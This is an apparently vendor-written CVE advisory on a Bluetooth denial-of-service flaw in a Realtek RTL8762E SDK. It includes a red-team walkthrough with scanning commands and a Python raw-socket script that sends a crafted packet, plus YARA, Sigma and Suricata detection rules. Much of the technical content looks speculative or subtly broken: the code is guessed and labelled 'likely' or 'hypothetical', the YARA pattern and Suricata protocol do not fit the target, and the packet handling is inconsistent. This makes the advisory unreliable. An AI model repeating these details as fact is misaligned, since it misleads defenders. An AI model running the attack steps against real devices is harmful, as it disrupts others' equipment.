CVE-2025-44531
Executive Summary
CVE-2025-44531 is a denial-of-service (DoS) vulnerability in the Realtek RTL8762EKF-EVB evaluation board running RTL8762E SDK v1.4.0. An unauthenticated attacker within Bluetooth range can cause a system crash or hang by sending a crafted Bluetooth packet before the pairing public key is received during a connection attempt. The vulnerability stems from improper handling of unexpected Bluetooth frames during the pairing handshake, leading to resource exhaustion or a null-pointer dereference. No patch is currently available from Realtek, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is elevated for IoT devices using this SDK in production.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Adjacent Network (Bluetooth range, typically <10m)
- Attack Complexity (AC): Low (no special conditions)
- Privileges Required (PR): None
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): None
- Integrity (I): None
- Availability (A): High (DoS)
- Estimated CVSS v3.1 Vector:
AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Threat Level: Medium (due to low complexity but limited attack range and no data breach)
Deep Dive & Mechanics
The vulnerability resides in the Bluetooth Low Energy (BLE) stack of the RTL8762E SDK. During the pairing process, the device expects a public key exchange packet from the master. If an attacker sends a crafted packet (e.g., malformed LL_CONNECTION_PARAM_REQ or a specially crafted L2CAP frame) before this key is received, the stack fails to validate the packet type or length, leading to a buffer overflow or null-pointer dereference. This causes the Bluetooth controller to hang or crash, requiring a hardware reset.
The affected function is likely in the btm_pairing.c or hci_evt.c module, where incoming ACL data is processed without proper state machine checks. The SDK v1.4.0 does not implement input validation for packets arriving in the PAIRING_WAITING_FOR_PUBLIC_KEY state.
Vulnerable vs. Patched Code
Vulnerable Code (RTL8762E SDK v1.4.0):
// In btm_pairing.c
void btm_process_pairing_packet(uint8_t *pkt, uint16_t len) {
// No state check before processing
if (pkt[0] == 0x06) { // Public Key packet type
// Process public key
} else {
// Directly process other packets without validation
process_acl_data(pkt, len); // Vulnerable: can be called in wrong state
}
}
Patched Code (Hypothetical fix):
void btm_process_pairing_packet(uint8_t *pkt, uint16_t len) {
// State machine check
if (pairing_state != PAIRING_STATE_WAITING_PUBLIC_KEY) {
return; // Ignore unexpected packets
}
if (pkt[0] != 0x06) {
// Reject non-public-key packets during this state
return;
}
// Process public key
}
Exploitation & Lab Setup
Red Team (Attack Simulation):
- Prerequisites: Bluetooth adapter (e.g., CSR8510), Python with
bleakorbluepy, and a target device running RTL8762E SDK v1.4.0. - Steps:
- Scan for BLE devices:
hcitool lescan - Connect to target:
gatttool -b <MAC> -I - Send a crafted L2CAP packet before pairing completes:
import socket import struct # Craft malformed connection parameter request pkt = b'\x12\x00\x00\x00\xff\xff\x00\x00' # Invalid length # Send via raw HCI socket s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) s.bind((0, 0)) s.send(pkt) - Observe device hang or crash.
- Scan for BLE devices:
Blue Team (Detection & Hardening):
- Monitor Bluetooth HCI logs for unexpected packet types during pairing.
- Implement a watchdog timer that resets the BLE stack if pairing does not complete within 5 seconds.
- Use a firewall to block non-standard L2CAP channels (e.g., only allow channel 0x0004 for ATT).
Indicators of Compromise (IOCs)
- Network: Bluetooth packets with invalid L2CAP channel IDs or malformed LL_CONNECTION_PARAM_REQ frames.
- Host: System logs showing
BT: pairing timeoutorBT: stack crashentries. - Firmware: Unexpected reset counters incrementing without a clear cause.
- File: No file-based IOCs; purely protocol-level.
Detection Engineering
YARA Rule (for firmware analysis):
rule CVE_2025_44531_RTL8762E {
meta:
description = "Detects vulnerable RTL8762E SDK v1.4.0 firmware"
author = "Valters IT"
date = "2025-04-10"
strings:
$sdk_version = "RTL8762E_SDK_v1.4.0"
$vuln_func = { 55 89 E5 83 EC 18 8B 45 08 0F B6 00 3C 06 75 0C }
condition:
$sdk_version and $vuln_func
}
Sigma Rule (for Windows event logs):
title: CVE-2025-44531 Bluetooth DoS Attempt
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects malformed Bluetooth packets targeting Realtek RTL8762E
logsource:
product: windows
service: system
detection:
selection:
EventID: 1001
Provider: 'BTHUSB'
Message: 'Bluetooth controller reset due to unexpected packet'
condition: selection
falsepositives:
- Legitimate Bluetooth interference
level: medium
Suricata Rule (for Bluetooth monitoring):
alert bluetooth any any -> any any (msg:"CVE-2025-44531 Realtek RTL8762E DoS Attempt"; content:"|12 00 00 00 ff ff 00 00|"; depth:8; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable Bluetooth pairing on affected devices if not required. Use a hardware firewall to isolate BLE traffic.
- Short-term: Apply input validation in the BLE stack to reject packets received in unexpected pairing states. Implement a state machine check before processing any ACL data.
- Long-term: Contact Realtek for an official patch. Monitor the vendor's SDK release notes for version 1.4.1 or later.
- Compensating Controls: Use a BLE sniffer to detect anomalous packets. Implement a watchdog timer that resets the BLE controller if pairing fails.
Valters IT
DevSecOps & Cyber Threat Intelligence